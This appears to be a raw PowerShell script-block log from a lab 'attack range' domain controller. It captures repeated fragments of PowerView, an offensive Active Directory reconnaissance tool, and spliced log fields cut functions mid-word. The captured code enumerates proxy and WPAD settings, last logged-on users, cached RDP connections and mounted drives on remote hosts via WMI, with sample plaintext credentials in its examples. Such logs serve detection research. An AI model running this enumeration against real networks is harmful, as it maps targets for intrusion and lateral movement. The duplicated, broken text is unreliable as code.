$Key = 'SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings'
# HKEY_CURRENT_USER
$HKCU = 2147483649
$ProxyServer = $RegProvider.GetStringValue($HKCU, $Key, 'ProxyServer').sValue
$AutoConfigURL = $RegProvider.GetStringValue($HKCU, $Key, 'AutoConfigURL').sValue
$Wpad = ''
if ($AutoConfigURL -and ($AutoConfigURL -ne '')) {
try {
$Wpad = (New-Object Net.WebClient).DownloadString($AutoConfigURL)
}
catch {
Write-Warning ""[Get-WMIRegProxy] Error connecting to AutoConfigURL : $AutoConfigURL""
}
}
if ($ProxyServer -or $AutoConfigUrl) {
$Out = New-Object PSObject
$Out | Add-Member Noteproperty 'ComputerName' $Computer
$Out | Add-Member Noteproperty 'ProxyServer' $ProxyServer
$Out | Add-Member Noteproperty 'AutoConfigURL' $AutoConfigURL
$Out | Add-Member Noteproperty 'Wpad' $Wpad
$Out.PSObject.TypeNames.Insert(0, 'PowerView.ProxySettings')
$Out
}
else {
Write-Warning ""[Get-WMIRegProxy] No proxy settings found for $ComputerName""
}
}
catch {
Write-Warning ""[Get-WMIRegProxy] Error enumerating proxy settings for $ComputerName : $_""
}
}
}
}
function Get-WMIRegLastLoggedOn {
<#
.SYNOPSIS
Returns the last user who logged onto the local (or a remote) machine.
Note: This function requires administrative rights on the machine you're enumerating.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
This function uses remote registry to enumerate the LastLoggedOnUser registry key
for the local (or remote) machine.
.PARAMETER ComputerName
Specifies the hostname to query for remote registry values (also accepts IP addresses).
Defaults to 'localhost'.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connecting to the remote system.
.EXAMPLE
Get-WMIRegLastLoggedOn
Returns the last user logged onto the local machine.
.EXAMPLE
Get-WMIRegLastLoggedOn -ComputerName WINDOWS1
Returns the last user logged onto WINDOWS1
.EXAMPLE
Get-DomainComputer | Get-WMIRegLastLoggedOn
Returns the last user logged onto all machines in the domain.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-WMIRegLastLoggedOn -ComputerName PRIMARY.testlab.local -Credential $Cred
.OUTPUTS
PowerView.LastLoggedOnUser
A PSCustomObject containing the ComputerName and last loggedon user.
#>
[OutputType('PowerView.LastLoggedOnUser')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName = 'localhost',
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
ForEach ($Computer in $ComputerName) {
# HKEY_LOCAL_MACHINE
$HKLM = 2147483650
$WmiArguments = @{
'List' = $True
'Class' = 'StdRegProv'
'Namespace' = 'root\default'
'Computername' = $Computer
'ErrorAction' = 'SilentlyContinue'
}
if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential }
# try to open up the remote registry key to grab the last logged on user
try {
$Reg = Get-WmiObject @WmiArguments
$Key = 'SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI'
$Value = 'LastLoggedOnUser'
$LastUser = $Reg.GetStringValue($HKLM, $Key, $Value).sValue
$LastLoggedOn = New-Object PSObject
$LastLoggedOn | Add-Member Noteproperty 'ComputerName' $Computer
$LastLoggedOn | Add-Member Noteproperty 'LastLoggedOn' $LastUser
$LastLoggedOn.PSObject.TypeNames.Insert(0, 'PowerView.LastLoggedOnUser')
$LastLoggedOn
}
catch {
Write-Warning ""[Get-WMIRegLastLoggedOn] Error opening remote registry on $Computer. Remote registry likely not enabled.""
}
}
}
}
function Get-WMIRegCachedRDPConnection {
<#
.SYNOPSIS
Returns information about RDP connections outgoing from the local (or remote) machine.
Note: This function requires administrative rights on the machine you're enumerating.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: ConvertFrom-SID
.DESCRIPTION
Uses remote registry functionality to query all entries for the
""Windows Remote Desktop Connection Client"" on a machine, separated by
user and target server.
.PARAMETER ComputerName
Specifies the hostname to query for cached RDP connections (also accepts IP addresses).
Defaults to 'localhost'.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connecting to the remote system.
.EXAMPLE
Get-WMIRegCachedRDPConnection
Returns the RDP connection client information for the local machine.
.EXAMPLE
Get-WMIRegCachedRDPConnection -ComputerName WINDOWS2.testlab.local
Returns the RDP connection client information for the WINDOWS2.testlab.local machine
.EXAMPLE
Get-DomainComputer | Get-WMIRegCachedRDPConnection
Returns cached RDP information for all machines in the domain.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-WMIRegCachedRDPConnection -ComputerName PRIMARY.testlab.local -Credential $Cred
.OUTPUTS
PowerView.CachedRDPConnection
A PSCustomObject containing the ComputerName and cached RDP information.
#>
[OutputType('PowerView.CachedRDPConnection')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName = 'localhost',
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
ForEach ($Computer in $ComputerName) {
# HKEY_USERS
$HKU = 2147483651
$WmiArguments = @{
'List' = $True
'Class' = 'StdRegProv'
'Namespace' = 'root\default'
'Computername' = $Computer
'ErrorAction' = 'Stop'
}
if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential }
try {
$Reg = Get-WmiObject @WmiArguments
# extract out the SIDs of domain users in this hive
$UserSIDs = ($Reg.EnumKey($HKU, '')).sNames | Where-Object { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' }
ForEach ($UserSID in $UserSIDs) {
try {
if ($PSBoundParameters['Credential']) {
$UserName = ConvertFrom-SID -ObjectSid $UserSID -Credential $Credential
}
else {
$UserName = ConvertFrom-SID -ObjectSid $UserSID
}
# pull out all the cached RDP connections
$ConnectionKeys = $Reg.EnumValues($HKU,""$UserSID\Software\Microsoft\Terminal Server Client\Default"").sNames
ForEach ($Connection in $ConnectionKeys) {
# make sure this key is a cached connection
if ($Connection -match 'MRU.*') {
$TargetServer = $Reg.GetStringValue($HKU, ""$UserSID\Software\Microsoft\Terminal Server Client\Default"", $Connection).sValue
$FoundConnection = New-Object PSObject
$FoundConnection | Add-Member Noteproperty 'ComputerName' $Computer
$FoundConnection | Add-Member Noteproperty 'UserName' $UserName
$FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID
$FoundConnection | Add-Member Noteproperty 'TargetServer' $TargetServer
$FoundConnection | Add-Member Noteproperty 'UsernameHint' $Null
$FoundConnection.PSObject.TypeNames.Insert(0, 'PowerView.CachedRDPConnection')
$FoundConnection
}
}
# pull out all the cached server info with username hints
$ServerKeys = $Reg.EnumKey($HKU,""$UserSID\Software\Microsoft\Terminal Server Client\Servers"").sNames
ForEach ($Server in $ServerKeys) {
$UsernameHint = $Reg.GetStringValue($HKU, ""$UserSID\Software\Microsoft\Terminal Server Client\Servers\$Server"", 'UsernameHint').sValue
$FoundConnection = New-Object PSObject
$FoundConnection | Add-Member Noteproperty 'ComputerName' $Computer
$FoundConnection | Add-Member Noteproperty 'UserName' $UserName
$FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID
$FoundConnection | Add-Member Noteproperty 'TargetServer' $Server
$FoundConnection | Add-Member Noteproperty 'UsernameHint' $UsernameHint
$FoundConnection.PSObject.TypeNames.Insert(0, 'PowerView.CachedRDPConnection')
$FoundConnection
}
}
catch {
Write-Verbose ""[Get-WMIRegCachedRDPConnection] Error: $_""
}
}
}
catch {
Write-Warning ""[Get-WMIRegCachedRDPConnection] Error accessing $Computer, likely insufficient permissions or firewall rules on host: $_""
}
}
}
}
function Get-WMIRegMountedDrive {
<#
.SYNOPSIS
Returns information about saved network mounted drives for the local (or remote) machine.
Note: This function requires administrative rights on the machine you're enumerating.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: ConvertFrom-SID
.DESCRIPTION
Uses remote registry functionality to enumerate recently mounted network drives.
.PARAMETER ComputerName
Specifies the hostname to query for mounted drive information (also accepts IP addresses).
Defaults to 'localhost'.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connecting to the remote system.
.EXAMPLE
Get-WMIRegMountedDrive
Returns the saved network mounted drives for the local machine.
.EXAMPLE
Get-WMIRegMountedDrive -ComputerName WINDOWS2.testlab.local
Returns the saved network mounted drives for the WINDOWS2.testlab.local machine
.EXAMPLE
Get-DomainComputer | Get-WMIRegMountedDrive
Returns the saved network mounted drives for all machines in the domain.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-WMIRegMountedDrive -ComputerName PRIMARY.testlab.local -Credential $Cred
.OUTPUTS
PowerView.RegMountedDrive
A PSCustomObject containing the ComputerName and mounted drive information.
#>
[OutputType('PowerView.RegMountedDrive')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName = 'localhost',
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
ForEach ($Computer in $ComputerName) {
# HKEY_USERS
$HKU = 2147483651
$WmiArguments = @{
'List' = $True
'Class' = 'StdRegProv'
'Namespace' = 'root\default'
'Computername' = $Computer
'ErrorAction' = 'Stop'
}
if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential }
try {
$Reg = Get-WmiObject @WmiArguments
# extract out the SIDs of domain users in this hive
$UserSIDs = ($Reg.EnumKey($HKU, '')).sNames | Where-Object { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' }
ForEach ($UserSID in $UserSIDs) {
try {
if ($PSBoundParameters['Credential']) {
$UserName = ConvertFrom-SID -ObjectSid $UserSID -Credential $Credential
}
else {
$UserName = ConvertFrom-SID -ObjectSid $UserSID
}
$DriveLetters = ($Reg.EnumKey($HKU, ""$UserSID\Network"")).sNames
ForEach ($DriveLetter in $DriveLetters) {
$ProviderName = $Reg.GetStringValue($HKU, ""$UserSID\Network\$DriveLetter"", 'ProviderName').sValue
$RemotePath = $Reg.GetStringValue($HKU, ""$UserSID\Network\$DriveLetter"", 'RemotePath').sValue
$DriveUserName = $Reg.GetStringValue($HKU, ""$UserSID\Network\$DriveLetter"", 'UserName').sValue
if (-not $UserNe66f2c62-841c-43ba-a30f-4c6c2ffc9eadC:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Recon\PowerView.ps1",,4104,122634,,,,,"'{A0C1853B-5C40-4B15-8766-3CF1C58F985A}'",,,,,,0x0,3,,,,33,44,"'Microsoft-Windows-PowerShell'",15,,,,,,,"C:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Recon\PowerView.ps1",,,"'5388'",,,,,,122634,,,,"e66f2c62-841c-43ba-a30f-4c6c2ffc9ead","$ComputerSite | Add-Member Noteproperty 'IPAddress' $IPAddress
if ($Result -eq 0) {
$Sitename = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($PtrInfo)
$ComputerSite | Add-Member Noteproperty 'SiteName' $Sitename
}
else {
Write-Verbose ""[Get-NetComputerSiteName] Error: $(([ComponentModel.Win32Exception] $Result).Message)""
$ComputerSite | Add-Member Noteproperty 'SiteName' ''
}
$ComputerSite.PSObject.TypeNames.Insert(0, 'PowerView.ComputerSite')
# free up the result buffer
$Null = $Netapi32::NetApiBufferFree($PtrInfo)
$ComputerSite
}
}
END {
if ($LogonToken) {
Invoke-RevertToSelf -TokenHandle $LogonToken
}
}
}
function Get-WMIRegProxy {
<#
.SYNOPSIS
Enumerates the proxy server and WPAD conents for the current user.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
Enumerates the proxy server and WPAD specification for the current user
on the local machine (default), or a machine specified with -ComputerName.
It does this by enumerating settings from
HKU:SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings.
.PARAMETER ComputerName
Specifies the system to enumerate proxy settings on. Defaults to the local host.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connecting to the remote system.
.EXAMPLE
Get-WMIRegProxy
ComputerName ProxyServer AutoConfigURL Wpad
------------ ----------- ------------- ----
WINDOWS1 http://primary.test...
.EXAMPLE
$Cred = Get-Credential ""TESTLAB\administrator""
Get-WMIRegProxy -Credential $Cred -ComputerName primary.testlab.local
ComputerName ProxyServer AutoConfigURL Wpad
------------ ----------- ------------- ----
windows1.testlab.local primary.testlab.local
.INPUTS
String
Accepts one or more computer name specification strings on the pipeline (netbios or FQDN).
.OUTPUTS
PowerView.ProxySettings
Outputs custom PSObjects with the ComputerName, ProxyServer, AutoConfigURL, and WPAD contents.
#>
[OutputType('PowerView.ProxySettings')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName = $Env:COMPUTERNAME,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
ForEach ($Computer in $ComputerName) {
try {
$WmiArguments = @{
'List' = $True
'Class' = 'StdRegProv'
'Namespace' = 'root\default'
'Computername' = $Computer
'ErrorAction' = 'Stop'
}
if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential }
$RegProvider = Get-WmiObject @WmiArguments
$Key = 'SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings'
# HKEY_CURRENT_USER
$HKCU = 2147483649
$ProxyServer = $RegProvider.GetStringValue($HKCU, $Key, 'ProxyServer').sValue
$AutoConfigURL = $RegProvider.GetStringValue($HKCU, $Key, 'AutoConfigURL').sValue
$Wpad = ''
if ($AutoConfigURL -and ($AutoConfigURL -ne '')) {
try {
$Wpad = (New-Object Net.WebClient).DownloadString($AutoConfigURL)
}
catch {
Write-Warning ""[Get-WMIRegProxy] Error connecting to AutoConfigURL : $AutoConfigURL""
}
}
if ($ProxyServer -or $AutoConfigUrl) {
$Out = New-Object PSObject
$Out | Add-Member Noteproperty 'ComputerName' $Computer
$Out | Add-Member Noteproperty 'ProxyServer' $ProxyServer
$Out | Add-Member Noteproperty 'AutoConfigURL' $AutoConfigURL
$Out | Add-Member Noteproperty 'Wpad' $Wpad
$Out.PSObject.TypeNames.Insert(0, 'PowerView.ProxySettings')
$Out
}
else {
Write-Warning ""[Get-WMIRegProxy] No proxy settings found for $ComputerName""
}
}
catch {
Write-Warning ""[Get-WMIRegProxy] Error enumerating proxy settings for $ComputerName : $_""
}
}
}
}
function Get-WMIRegLastLoggedOn {
<#
.SYNOPSIS
Returns the last user who logged onto the local (or a remote) machine.
Note: This function requires administrative rights on the machine you're enumerating.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
This function uses remote registry to enumerate the LastLoggedOnUser registry key
for the local (or remote) machine.
.PARAMETER ComputerName
Specifies the hostname to query for remote registry values (also accepts IP addresses).
Defaults to 'localhost'.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connecting to the remote system.
.EXAMPLE
Get-WMIRegLastLoggedOn
Returns the last user logged onto the local machine.
.EXAMPLE
Get-WMIRegLastLoggedOn -ComputerName WINDOWS1
Returns the last user logged onto WINDOWS1
.EXAMPLE
Get-DomainComputer | Get-WMIRegLastLoggedOn
Returns the last user logged onto all machines in the domain.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-WMIRegLastLoggedOn -ComputerName PRIMARY.testlab.local -Credential $Cred
.OUTPUTS
PowerView.LastLoggedOnUser
A PSCustomObject containing the ComputerName and last loggedon user.
#>
[OutputType('PowerView.LastLoggedOnUser')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName = 'localhost',
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
ForEach ($Computer in $ComputerName) {
# HKEY_LOCAL_MACHINE
$HKLM = 2147483650
$WmiArguments = @{
'List' = $True
'Class' = 'StdRegProv'
'Namespace' = 'root\default'
'Computername' = $Computer
'ErrorAction' = 'SilentlyContinue'
}
if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential }
# try to open up the remote registry key to grab the last logged on user
try {
$Reg = Get-WmiObject @WmiArguments
$Key = 'SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI'
$Value = 'LastLoggedOnUser'
$LastUser = $Reg.GetStringValue($HKLM, $Key, $Value).sValue
$LastLoggedOn = New-Object PSObject
$LastLoggedOn | Add-Member Noteproperty 'ComputerName' $Computer
$LastLoggedOn | Add-Member Noteproperty 'LastLoggedOn' $LastUser
$LastLoggedOn.PSObject.TypeNames.Insert(0, 'PowerView.LastLoggedOnUser')
$LastLoggedOn
}
catch {
Write-Warning ""[Get-WMIRegLastLoggedOn] Error opening remote registry on $Computer. Remote registry likely not enabled.""
}
}
}
}
function Get-WMIRegCachedRDPConnection {
<#
.SYNOPSIS
Returns information about RDP connections outgoing from the local (or remote) machine.
Note: This function requires administrative rights on the machine you're enumerating.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: ConvertFrom-SID
.DESCRIPTION
Uses remote registry functionality to query all entries for the
""Windows Remote Desktop Connection Client"" on a machine, separated by
user and target server.
.PARAMETER ComputerName
Specifies the hostname to query for cached RDP connections (also accepts IP addresses).
Defaults to 'localhost'.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connecting to the remote system.
.EXAMPLE
Get-WMIRegCachedRDPConnection
Returns the RDP connection client information for the local machine.
.EXAMPLE
Get-WMIRegCachedRDPConnection -ComputerName WINDOWS2.testlab.local
Returns the RDP connection client information for the WINDOWS2.testlab.local machine
.EXAMPLE
Get-DomainComputer | Get-WMIRegCachedRDPConnection
Returns cached RDP information for all machines in the domain.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-WMIRegCachedRDPConnection -ComputerName PRIMARY.testlab.local -Credential $Cred
.OUTPUTS
PowerView.CachedRDPConnection
A PSCustomObject containing the ComputerName and cached RDP information.
#>
[OutputType('PowerView.CachedRDPConnection')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName = 'localhost',
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
ForEach ($Computer in $ComputerName) {
# HKEY_USERS
$HKU = 2147483651
$WmiArguments = @{
'List' = $True
'Class' = 'StdRegProv'
'Namespace' = 'root\default'
'Computername' = $Computer
'ErrorAction' = 'Stop'
}
if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential }
try {
$Reg = Get-WmiObject @WmiArguments
# extract out the SIDs of domain users in this hive
$UserSIDs = ($Reg.EnumKey($HKU, '')).sNames | Where-Object { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' }
ForEach ($UserSID in $UserSIDs) {
try {
if ($PSBoundParameters['Credential']) {
$UserName = ConvertFrom-SID -ObjectSid $UserSID -Credential $Credential
}
else {
$UserName = ConvertFrom-SID -ObjectSid $UserSID
}
# pull out all the cached RDP connections
$ConnectionKeys = $Reg.EnumValues($HKU,""$UserSID\Software\Microsoft\Terminal Server Client\Default"").sNames
ForEach ($Connection in $ConnectionKeys) {
# make sure this key is a cached connection
if ($Connection -match 'MRU.*') {
$TargetServer = $Reg.GetStringValue($HKU, ""$UserSID\Software\Microsoft\Terminal Server Client\Default"", $Connection).sValue
$FoundConnection = New-Object PSObject
$FoundConnection | Add-Member Noteproperty 'ComputerName' $Computer
$FoundConnection | Add-Member Noteproperty 'UserName' $UserName
$FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID
$FoundConnection | Add-Member Noteproperty 'TargetServer' $TargetServer
$FoundConnection | Add-Member Noteproperty 'UsernameHint' $Null
$FoundConnection.PSObject.TypeNames.Insert(0, 'PowerView.CachedRDPConnection')
$FoundConnection
}
}
# pull out all the cached server info with username hints
$ServerKeys = $Reg.EnumKey($HKU,""$UserSID\Software\Microsoft\Terminal Server Client\Servers"").sNames
ForEach ($Server in $ServerKeys) {
$UsernameHint = $Reg.GetStringValue($HKU, ""$UserSID\Software\Microsoft\Terminal Server Client\Servers\$Server"", 'UsernameHint').sValue
$FoundConnection = New-Object PSObject
$FoundConnection | Add-Member Noteproperty 'ComputerName' $Computer
$FoundConnection | Add-Member Noteproperty 'UserName' $UserName
$FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID
$FoundConnection | Add-Member Noteproperty 'TargetServer' $Server
$FoundConnection | Add-Member Noteproperty 'UsernameHint' $UsernameHint
$FoundConnection.PSObject.TypeNames.Insert(0, 'PowerView.CachedRDPConnection')
$FoundConnection
}
}
catch {
Write-Verbose ""[Get-WMIRegCachedRDPConnection] Error: $_""
}
}
}
catch {
Write-Warning ""[Get-WMIRegCachedRDPConnection] Error accessing $Computer, likely insufficient permissions or firewall rules on host: $_""
}
}
}
}
function Get-WMIRegMountedDrive {
<#
.SYNOPSIS
Returns information about saved network mounted drives for the local (or remote) machine.
Note: This function requires administrative rights on the machine you're enumerating.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: ConvertFrom-SID
.DESCRIPTION
Uses remote registry functionality to enumerate recently mounted network drives.
.PARAMETER ComputerName
Specifies the hostname to query for mounted drive information (also accepts IP addresses).
Defaults to 'localhost'.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connecting to the remote system.
.EXAMPLE
Get-WMIRegMountedDrive
Returns the saved network mounted drives for the local machine.
.EXAMPLE
Get-WMIRegMountedDrive -ComputerName WINDOWS2.testlab.local
Returns the saved network mounted drives for the WINDOWS2.testlab.local machine
.EXAMPLE
Get-DomainComputer | Get-WMIRegMountedDrive
Returns the saved network mounted drives for all machines in the domain.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-WMIRegMountedDrive -ComputerName PRIMARY.testlab.local -Credential $Cred
.OUTPUTS
PowerView.RegMountedDrive
A PSCustomObject containing the ComputerName and mounted drive information.
#>
[OutputType('PowerView.RegMountedDrive')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName = 'localhost',
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
ForEach ($Computer in $ComputerName) {
# HKEY_USERS
$HKU = 2147483651
$WmiArguments = @{
'List' = $True
'Class' = 'StdRegProv'
'Namespace' = 'root\default'
'Computername' = $Computer
'ErrorAction' = 'Stop'
}
if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential }
try {
$Reg = Get-WmiObject @WmiArguments
# extract out the SIDs of domain users in this hive
$UserSIDs = ($Reg.EnumKey($HKU, '')).sNames | Where-Object { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' }
ForEach ($UserSID in $UserSIDs) {
try {
if ($PSBoundParameters['Credential']) {
$UserName = ConvertFrom-SID -ObjectSid $UserSID -Credential $Credential
}
else {
$UserName = ConvertFrom-SID -ObjectSid $UserSID
}
$DriveLetters = ($Reg.EnumKey($HKU, ""$UserSID\Network"")).sNames
ForEach ($DriveLetter in $DriveLetters) {
$ProviderName = $Reg.GetStringValue($HKU, ""$UserSID\Network\$DriveLetter"", 'ProviderName').sValue
$RemotePath = $Reg.GetStringValue($HKU, ""$UserSID\Network\$DriveLetter"", 'RemotePath').sValue
$DriveUserName = $Reg.GetStringValue($HKU, ""$UserSID\Network\$DriveLetter"", 'UserName').sValue
if (-not $UserN",,,,,,,,,,,"'2022-05-02T18:24:44.741596400Z'","4104132150x0122634Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local",,,,,2,,"'5528'",,,"'S-1-5-21-2059343465-2300599999-2417073716-500'",,1,"4104132150x0122634Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local3344 $ComputerSite | Add-Member Noteproperty 'IPAddress' $IPAddress
if ($Result -eq 0) {
$Sitename = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($PtrInfo)
$ComputerSite | Add-Member Noteproperty 'SiteName' $Sitename
}
else {
Write-Verbose ""[Get-NetComputerSiteName] Error: $(([ComponentModel.Win32Exception] $Result).Message)""
$ComputerSite | Add-Member Noteproperty 'SiteName' ''
}
$ComputerSite.PSObject.TypeNames.Insert(0, 'PowerView.ComputerSite')
# free up the result buffer
$Null = $Netapi32::NetApiBufferFree($PtrInfo)
$ComputerSite
}
}
END {
if ($LogonToken) {
Invoke-RevertToSelf -TokenHandle $LogonToken
}
}
}
function Get-WMIRegProxy {
<#
.SYNOPSIS
Enumerates the proxy server and WPAD conents for the current user.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
Enumerates the proxy server and WPAD specification for the current user
on the local machine (default), or a machine specified with -ComputerName.
It does this by enumerating settings from
HKU:SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings.
.PARAMETER ComputerName
Specifies the system to enumerate proxy settings on. Defaults to the local host.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connecting to the remote system.
.EXAMPLE
Get-WMIRegProxy
ComputerName ProxyServer AutoConfigURL Wpad
------------ ----------- ------------- ----
WINDOWS1 http://primary.test...
.EXAMPLE
$Cred = Get-Credential ""TESTLAB\administrator""
Get-WMIRegProxy -Credential $Cred -ComputerName primary.testlab.local
ComputerName ProxyServer AutoConfigURL Wpad
------------ ----------- ------------- ----
windows1.testlab.local primary.testlab.local
.INPUTS
String
Accepts one or more computer name specification strings on the pipeline (netbios or FQDN).
.OUTPUTS
PowerView.ProxySettings
Outputs custom PSObjects with the ComputerName, ProxyServer, AutoConfigURL, and WPAD contents.
#>
[OutputType('PowerView.ProxySettings')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName = $Env:COMPUTERNAME,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
ForEach ($Computer in $ComputerName) {
try {
$WmiArguments = @{
'List' = $True
'Class' = 'StdRegProv'
'Namespace' = 'root\default'
'Computername' = $Computer
'ErrorAction' = 'Stop'
}
if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential }
$RegProvider = Get-WmiObject @WmiArguments
$Key = 'SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings'
# HKEY_CURRENT_USER
$HKCU = 2147483649
$ProxyServer = $RegProvider.GetStringValue($HKCU, $Key, 'ProxyServer').sValue
$AutoConfigURL = $RegProvider.GetStringValue($HKCU, $Key, 'AutoConfigURL').sValue
$Wpad = ''
if ($AutoConfigURL -and ($AutoConfigURL -ne '')) {
try {
$Wpad = (New-Object Net.WebClient).DownloadString($AutoConfigURL)
}
catch {
Write-Warning ""[Get-WMIRegProxy] Error connecting to AutoConfigURL : $AutoConfigURL""
}
}
if ($ProxyServer -or $AutoConfigUrl) {
$Out = New-Object PSObject
$Out | Add-Member Noteproperty 'ComputerName' $Computer
$Out | Add-Member Noteproperty 'ProxyServer' $ProxyServer
$Out | Add-Member Noteproperty 'AutoConfigURL' $AutoConfigURL
$Out | Add-Member Noteproperty 'Wpad' $Wpad
$Out.PSObject.TypeNames.Insert(0, 'PowerView.ProxySettings')
$Out
}
else {
Write-Warning ""[Get-WMIRegProxy] No proxy settings found for $ComputerName""
}
}
catch {
Write-Warning ""[Get-WMIRegProxy] Error enumerating proxy settings for $ComputerName : $_""
}
}
}
}
function Get-WMIRegLastLoggedOn {
<#
.SYNOPSIS
Returns the last user who logged onto the local (or a remote) machine.
Note: This function requires administrative rights on the machine you're enumerating.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
